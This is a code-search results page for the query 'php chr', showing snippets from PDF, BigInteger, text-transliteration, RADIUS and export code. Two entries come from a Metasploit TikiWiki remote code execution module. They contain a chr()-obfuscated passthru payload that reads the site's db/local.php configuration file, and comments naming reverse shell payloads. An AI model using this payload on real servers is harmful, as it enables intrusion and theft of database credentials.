PageRenderTime 1624ms queryFilters 59ms Sphinxql 98ms app.CodeModel.GetByIds 1394ms findMatchingLines 84ms GetByIds 1478ms meta 0ms repositoryFilters 5ms languageFilters 1ms sourceFilters 3ms

27,527 results for 'php chr repo:tof06/yii-bootstrap' (1624 ms)

Source

Language

Repository

class.pdf.php https://github.com/timschofield/2.8.git | PHP | 3,101 lines
1044      // figure out the additional paramaters required
1045      $pad = chr(0x28).chr(0xBF).chr(0x4E).chr(0x5E).chr(0x4E).chr(0x75).chr(0x8A).chr(0x41).chr(0x64).chr(0x00).chr(0x4E).chr(0x56).chr(0xFF).chr(0xFA).chr(0x01).chr(0x08).chr(0x2E).chr(0x2E).chr(0x00).chr(0xB6).chr(0xD0).chr(0x68).chr(0x3E).chr(0x80).chr(0x2F).chr(0x0C).chr(0xA9).chr(0xFE).chr(0x64).chr(0x53).chr(0x69).chr(0x7A);
1046      $len = strlen($options['owner']);
1067      // now make the u value, phew.
1068      $tmp = $this->md5_16($user.$ovalue.chr($options['p']).chr(255).chr(255).chr(255).$this->fileIdentifier);
1069      $ukey = substr($tmp,0,5);
1123  }
1124  $tmp.= chr(hexdec(substr($hex,4,2))).chr(hexdec(substr($hex,2,2))).chr(hexdec(substr($hex,0,2))).chr(0).chr(0);
1125  $key = $this->md5_16($tmp);
1341  if (file_exists($dir.'php_'.$name.'.afm')){
1342    $this->addMessage('openFont: php file exists '.$dir.'php_'.$name.'.afm');
1343    $tmp = file($dir.'php_'.$name.'.afm');
2676  if (!$error){
2677    $header = chr(137).chr(80).chr(78).chr(71).chr(13).chr(10).chr(26).chr(10);
2678    if (substr($data,0,8)!=$header){
BigInteger.php https://github.com/tjworks/mongoing.git | PHP | 3,682 lines
552                    $temp = bcmod($current, '16777216');
553                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
554                    $current = bcdiv($current, '16777216', 0);
744     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
745     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
746     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2876        // generate as many leading 1's as we need to.
2877        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2878        $this->_base256_lshift($leading_ones, $current_bits);
2985            $precision = 8 * strlen($bits) - 8 + $i;
2986            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2987        }
3177
3178        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3179        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
exporter_debitor.php https://github.com/nielsrune/saldi.git | PHP | 95 lines
35
36if (fwrite($fp,"kontonr".chr(9)."firmanavn".chr(9)."addr1".chr(9)."addr2".chr(9)."postnr".chr(9)."bynavn".chr(9)."land".chr(9)."kontakt".chr(9)."tlf".chr(9)."fax".chr(9)."email".chr(9)."web".chr(9)."notes".chr(9)."kreditmax".chr(9)."betalingsbet".chr(9)."betalingsdage".chr(9)."cvrnr".chr(9)."ean".chr(9)."institution".chr(9)."gruppe".chr(9)."kontoansvarlig".chr(9)."oprettet".chr(9)."kontakt_navn".chr(9)."kontakt_addr1".chr(9)."kontakt_addr2".chr(9)."kontakt_postnr".chr(9)."kontakt_bynavn".chr(9)."kontakt_tlf".chr(9)."kontakt_fax".chr(9)."kontakt_email".chr(9)."kontakt_notes]\r\n")) {
37	$q=db_select("select * from adresser where art='D' order by kontonr",__FILE__ . " linje " . __LINE__);
46		
47		$tmp1=str_replace("\n","\\n",$r[kontonr].chr(9).chr(32).$r[firmanavn].chr(32).chr(9).chr(32).$r[addr1].chr(32).chr(9).chr(32).$r[addr2].chr(32).chr(9).chr(32).$r[postnr].chr(32).chr(9).chr(32).$r[bynavn].chr(32).chr(9).chr(32).$r[land].chr(32).chr(9).chr(32).$r[kontakt].chr(32).chr(9).chr(32).$r[tlf].chr(32).chr(9).chr(32).$r[fax].chr(32).chr(9).chr(32).$r[email].chr(32).chr(9).chr(32).$r[web].chr(32).chr(9).chr(32).$r[notes].chr(32).chr(9).$kreditmax.chr(9).chr(32).$r[betalingsbet].chr(32).chr(9).$r[betalingsdage].chr(9).chr(32).$r[cvrnr].chr(32).chr(9).chr(32).$r[ean].chr(32).chr(9).chr(32).$r[institution].chr(32).chr(9).$r[gruppe].chr(9).chr(32).$kontoansvarlig.chr(32).chr(9).chr(32).$oprettet);
48		$tmp1=str_replace("\r","\\r",$tmp1);
52			$ansatte++;
53			$tmp2=str_replace("\n","\\n",$r2[navn].chr(32).chr(9).chr(32).$r2[addr1].chr(32).chr(9).chr(32).$r2[addr2].chr(32).chr(9).chr(32).$r2[postnr].chr(32).chr(9).chr(32).$r2[bynavn].chr(32).chr(9).chr(32).$r2[tlf].chr(32).chr(9).chr(32).$r2[fax].chr(32).chr(9).chr(32).$r2[email].chr(32).chr(9).chr(32).$r2[notes]);
54			$tmp2=str_replace("\r","\\r",$tmp2);
55		if ($charset=='UTF-8') $tmp2=utf8_decode($tmp2);
56			$linje=$tmp1.chr(32).chr(9).chr(32).$tmp2;
57			fwrite($fp, $linje."\r\n");
59		if (!$ansatte) {
60			$linje=$tmp1.chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32).chr(32).chr(9).chr(32);
61			fwrite($fp, $linje."\r\n");
saldi_update.php https://github.com/nielsrune/saldi.git | PHP | 290 lines
1<?php
2// #----------------- saldi_update.php -----ver 3.2.6---- 2012.01.10 ----------
75
76		if (file_exists("soapklient/soapfunc.php")) $filnavn="soapklient/soapfunc.log";
77		else $filnavn="soapfunc.log";
102		}
103		if (file_exists("soapklient/soapfunc.php")) include("soapklient/soapfunc.php");
104		else include("soapfunc.php");
104		else include("soapfunc.php");
105		if (file_exists("soapklient/saldi_connect.php")) include("soapklient/saldi_connect.php");
106		else include("saldi_connect.php");
107		fwrite($fp,__LINE__."$url logon($regnskab,$brugernavn,$adgangskode)\n");
108		list($fejl,$svar)=explode(chr(9),logon($regnskab,$brugernavn,$adgangskode));
109		fwrite($fp,__LINE__."fejl $fejl - svar $svar\n");
285		}
286		return('0'.chr(9).$konto_id.chr(9).$ordre_id);
287		fclose($fp);
getid3.lib.php https://github.com/noonchild/rsa.git | PHP | 1,323 lines
1<?php
2/////////////////////////////////////////////////////////////////
294			$quotient = ($number / ($maskbyte + 1));
295			$intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring;
296			$number = floor($quotient);
336		for ($i = 0; $i < strlen($binstringreversed); $i += 8) {
337			$string = chr(getid3_lib::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string;
338		}
346			if ($synchsafe) {
347				$intstring = $intstring.chr($number & 127);
348				$number >>= 7;
349			} else {
350				$intstring = $intstring.chr($number & 255);
351				$number >>= 8;
359		// written by kcěhireability*com
360		// taken from http://www.php.net/manual/en/function.array-merge-recursive.php
361		if (!is_array($array1) || !is_array($array2)) {
class.pdf.php https://github.com/mbleed/health.git | PHP | 4,972 lines
1764      // figure out the additional paramaters required
1765      $pad =  chr(0x28) .chr(0xBF) .chr(0x4E) .chr(0x5E) .chr(0x4E) .chr(0x75) .chr(0x8A) .chr(0x41) .chr(0x64) .chr(0x00) .chr(0x4E) .chr(0x56) .chr(0xFF) .chr(0xFA) .chr(0x01) .chr(0x08) .chr(0x2E) .chr(0x2E) .chr(0x00) .chr(0xB6) .chr(0xD0) .chr(0x68) .chr(0x3E) .chr(0x80) .chr(0x2F) .chr(0x0C) .chr(0xA9) .chr(0xFE) .chr(0x64) .chr(0x53) .chr(0x69) .chr(0x7A);
1766
1803      // now make the u value, phew.
1804      $tmp =  $this->md5_16($user.$ovalue.chr($options['p']) .chr(255) .chr(255) .chr(255) .$this->fileIdentifier);
1805
1891
1892    $tmp.=  chr(hexdec(substr($hex, 4, 2))) .chr(hexdec(substr($hex, 2, 2))) .chr(hexdec(substr($hex, 0, 2))) .chr(0) .chr(0);
1893
2214
2215      $this->addMessage('openFont: php file exists ' . $dir . 'php_' . $name.'.afm');
2216
4352
4353      $header =  chr(137) .chr(80) .chr(78) .chr(71) .chr(13) .chr(10) .chr(26) .chr(10);
4354
class.pdf.php https://github.com/reinhardsual/openemr.git | PHP | 3,084 lines
1024      // figure out the additional paramaters required
1025      $pad = chr(0x28).chr(0xBF).chr(0x4E).chr(0x5E).chr(0x4E).chr(0x75).chr(0x8A).chr(0x41).chr(0x64).chr(0x00).chr(0x4E).chr(0x56).chr(0xFF).chr(0xFA).chr(0x01).chr(0x08).chr(0x2E).chr(0x2E).chr(0x00).chr(0xB6).chr(0xD0).chr(0x68).chr(0x3E).chr(0x80).chr(0x2F).chr(0x0C).chr(0xA9).chr(0xFE).chr(0x64).chr(0x53).chr(0x69).chr(0x7A);
1026      $len = strlen($options['owner']);
1047      // now make the u value, phew.
1048      $tmp = $this->md5_16($user.$ovalue.chr($options['p']).chr(255).chr(255).chr(255).$this->fileIdentifier);
1049      $ukey = substr($tmp,0,5);
1103  }
1104  $tmp.= chr(hexdec(substr($hex,4,2))).chr(hexdec(substr($hex,2,2))).chr(hexdec(substr($hex,0,2))).chr(0).chr(0);
1105  $key = $this->md5_16($tmp);
1399    $this->fonts[$font]=$data;
1400    touch($dir.'php_'.$name.'.afm'); // php bug
1401    $fp = fopen($dir.'php_'.$name.'.afm','w');
2664  if (!$error){
2665    $header = chr(137).chr(80).chr(78).chr(71).chr(13).chr(10).chr(26).chr(10);
2666    if (substr($data,0,8)!=$header){
Urlizer.php https://github.com/jaimesuez/DoctrineExtensions.git | PHP | 462 lines
176            .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
177            .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
178            .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
178            .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
179            .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
180            .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
180            .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
181            .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
182            .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
182            .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
183            .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
184            .chr(252).chr(253).chr(255);
188            $string = strtr($string, $chars['in'], $chars['out']);
189            $doubleChars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254));
190            $doubleChars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th');
BigInteger.php https://gitlab.com/windigo-gs/windigos-gnu-social.git | PHP | 3,704 lines
575                    $temp = bcmod($current, '16777216');
576                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
577                    $current = bcdiv($current, '16777216', 0);
767     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
768     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
769     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2899        // generate as many leading 1's as we need to.
2900        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2901        $this->_base256_lshift($leading_ones, $current_bits);
3008            $precision = 8 * strlen($bits) - 8 + $i;
3009            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
3010        }
3200
3201        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3202        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
BigInteger.php https://gitlab.com/intersango/witcoin.git | PHP | 3,545 lines
519                    $temp = bcmod($current, '16777216');
520                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
521                    $current = bcdiv($current, '16777216', 0);
702     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
703     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
704     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2793        // generate as many leading 1's as we need to.
2794        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2795        $this->_base256_lshift($leading_ones, $current_bits);
2902            $precision = 8 * strlen($bits) - 8 + $i;
2903            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2904        }
3039
3040        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3041        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
funcs.strings.php https://gitlab.com/fork/hotarucms.git | PHP | 607 lines
406		$chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158)
407			.chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194)
408			.chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
408			.chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202)
409			.chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210)
410			.chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218)
411			.chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227)
412			.chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235)
413			.chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
413			.chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243)
414			.chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251)
415			.chr(252).chr(253).chr(255);
419		$string = strtr($string, $chars['in'], $chars['out']);
420		$double_chars['in'] = array( chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254) );
421		$double_chars['out'] = array( 'OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th' );
BigInteger.php git://github.com/spotweb/spotweb.git | PHP | 3,630 lines
528                    $temp = bcmod($current, '16777216');
529                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
530                    $current = bcdiv($current, '16777216', 0);
720     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
721     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
722     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2858        // generate as many leading 1's as we need to.
2859        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2860        $this->_base256_lshift($leading_ones, $current_bits);
2967            $precision = 8 * strlen($bits) - 8 + $i;
2968            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2969        }
3104
3105        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3106        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
BigInteger.php https://bitbucket.org/arkross/venus | PHP | 3,548 lines
521                    $temp = bcmod($current, '16777216');
522                    $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
523                    $current = bcdiv($current, '16777216', 0);
704     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
705     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
706     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
2795        // generate as many leading 1's as we need to.
2796        $leading_ones = chr((1 << ($new_bits & 0x7)) - 1) . str_repeat(chr(0xFF), $new_bits >> 3);
2797        $this->_base256_lshift($leading_ones, $current_bits);
2904            $precision = 8 * strlen($bits) - 8 + $i;
2905            $mask = chr((1 << ($precision & 0x7)) - 1) . str_repeat(chr(0xFF), $precision >> 3);
2906        }
3041
3042        // gmp_nextprime() requires PHP 5 >= 5.2.0 per <http://php.net/gmp-nextprime>.
3043        if ( MATH_BIGINTEGER_MODE == MATH_BIGINTEGER_MODE_GMP && function_exists('gmp_nextprime') ) {
functions.php http://novaboard.googlecode.com/svn/trunk/ | PHP | 1,566 lines
34			$charCheck		=	array(
35									chr(195).chr(128) => 'A', chr(195).chr(129) => 'A',
36									chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',
36									chr(195).chr(130) => 'A', chr(195).chr(131) => 'A',
37									chr(195).chr(132) => 'A', chr(195).chr(133) => 'A',
38									chr(195).chr(135) => 'C', chr(195).chr(136) => 'E',
120									chr(197).chr(178) => 'U', chr(197).chr(179) => 'u',
121									chr(197).chr(180) => 'W', chr(197).chr(181) => 'w',
122									chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y',
123									chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z',
124									chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z',
125									chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',
125									chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z',
126									chr(197).chr(190) => 'z', chr(197).chr(191) => 's',
127									chr(226).chr(130).chr(172) => 'E',
Glyphs.php https://bitbucket.org/swergroup/wp-uploadplus.git | PHP | 666 lines
1<?php
2/**
33 *  
34 * Original    Author(s): Khaled Al-Sham'aa <khaled@ar-php.org>
35 *  
48 *
49 * PHP class to render Arabic text by performs Arabic glyph joining on it,
50 * then output a UTF-8 hexadecimals stream gives readable results on PHP
54 * <code>
55 *   include('./I18N/Arabic.php');
56 *   $obj = new I18N_Arabic('Glyphs');
155        // This needs value in getGlyphs function to be 52 instead of 48
156        // $this->_glyphs .= chr(129).chr(141).chr(142).chr(144);
157        // $this->_hex    .= 'FB56FB57FB58FB59FB7AFB7BFB7CFB7DFB8AFB8BFB8AFB8BFB92';
160        // $this->_prevLink .= chr(129).chr(141).chr(142).chr(144);
161        // $this->_nextLink .= chr(129).chr(141).chr(142).chr(144);
162        //
class.pdf.php https://bitbucket.org/astawiarski/openemr.git | PHP | 3,088 lines
1024      // figure out the additional paramaters required
1025      $pad = chr(0x28).chr(0xBF).chr(0x4E).chr(0x5E).chr(0x4E).chr(0x75).chr(0x8A).chr(0x41).chr(0x64).chr(0x00).chr(0x4E).chr(0x56).chr(0xFF).chr(0xFA).chr(0x01).chr(0x08).chr(0x2E).chr(0x2E).chr(0x00).chr(0xB6).chr(0xD0).chr(0x68).chr(0x3E).chr(0x80).chr(0x2F).chr(0x0C).chr(0xA9).chr(0xFE).chr(0x64).chr(0x53).chr(0x69).chr(0x7A);
1026      $len = strlen($options['owner']);
1047      // now make the u value, phew.
1048      $tmp = $this->md5_16($user.$ovalue.chr($options['p']).chr(255).chr(255).chr(255).$this->fileIdentifier);
1049      $ukey = substr($tmp,0,5);
1103  }
1104  $tmp.= chr(hexdec(substr($hex,4,2))).chr(hexdec(substr($hex,2,2))).chr(hexdec(substr($hex,0,2))).chr(0).chr(0);
1105  $key = $this->md5_16($tmp);
1399    $this->fonts[$font]=$data;
1400    touch($dir.'php_'.$name.'.afm'); // php bug
1401    $fp = fopen($dir.'php_'.$name.'.afm','w');
2668  if (!$error){
2669    $header = chr(137).chr(80).chr(78).chr(71).chr(13).chr(10).chr(26).chr(10);
2670    if (substr($data,0,8)!=$header){
tikiwiki_graph_formula_exec.rb https://bitbucket.org/technopunk2099/metasploit-framework.git | Ruby | 230 lines
16		super(update_info(info,
17			'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
18			'Description'    => %q{
96		url_db_local = build_uri("passthru(" +
97			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
98			"chr(59)." +  # ;
99			# cat db/local.php
100			"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
101			"chr(59)." +  # ;
101			"chr(59)." +  # ;
102			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
103			")")
208		# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
209		# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
210		# php/meterpreter/reverse_tcp
tikiwiki_graph_formula_exec.rb https://bitbucket.org/jrossi/metasploit | Ruby | 237 lines
20		super(update_info(info,
21			'Name'           => 'TikiWiki tiki-graph_formula Remote PHP Code Execution',
22			'Description'    => %q{
101		url_db_local = build_uri("passthru(" +
102			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)." +  # echo YYY
103			"chr(59)." +  # ;
104			# cat db/local.php
105			"chr(99).chr(97).chr(116).chr(32).chr(100).chr(98).chr(47).chr(108).chr(111).chr(99).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112)." +
106			"chr(59)." +  # ;
106			"chr(59)." +  # ;
107			"chr(101).chr(99).chr(104).chr(111).chr(32).chr(89).chr(89).chr(89)" +   # echo YYY
108			")")
215		# This doesn't seem to be necessary on PHP 5.2.4, tikiwiki 1.9.5
216		# Tested with php/reverse_php, php/meterpreter_reverse_tcp, and
217		# php/meterpreter/reverse_tcp
radius.class.php https://bitbucket.org/biadmin/tcexam | PHP | 841 lines
117 *     * In Windows, PHP Sockets can be activated by un-commenting
118 *       extension=php_sockets.dll in php.ini
119 *
600                case 'T': // Text, 1-253 octets containing UTF-8 encoded ISO 10646 characters (RFC 2279).
601                    $temp_attribute = chr($type).chr(2+strlen($value)).$value;
602                    break;
603                case 'S': // String, 1-253 octets containing binary data (values 0 through 255 decimal, inclusive).
604                    $temp_attribute = chr($type).chr(2+strlen($value)).$value;
605                    break;
607                    $ip_array = explode(".", $value);
608                    $temp_attribute = chr($type).chr(6).chr($ip_array[0]).chr($ip_array[1]).chr($ip_array[2]).chr($ip_array[3]);
609                    break;
610                case 'I': // Integer, 32 bit unsigned value, most significant octet first.
611                    $temp_attribute = chr($type).chr(6).chr(($value/(256*256*256))%256).chr(($value/(256*256))%256).chr(($value/(256))%256).chr($value%256);
612                    break;
phpagi.php https://github.com/Synforge/SynIVR.git | PHP | 1,741 lines
3 /**
4  * phpagi.php : PHP AGI Functions for Asterisk
5  * Website: http://phpagi.sourceforge.net/
6  *
7  * $Id: phpagi.php,v 2.14 2005/05/25 20:30:46 pinhole Exp $
8  *
14  *
15  * We would be happy to list your phpagi based application on the phpagi
16  * website.  Drop me an Email if you'd like us to list your program.
155      if(!isset($this->config['phpagi']['admin'])) $this->config['phpagi']['admin'] = NULL;
156      if(!isset($this->config['phpagi']['tempdir'])) $this->config['phpagi']['tempdir'] = AST_TMP_DIR;
157
174        global $phpagi_error_handler_email;
175        $phpagi_error_handler_email = $this->config['phpagi']['admin'];
176        error_reporting(E_ALL);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21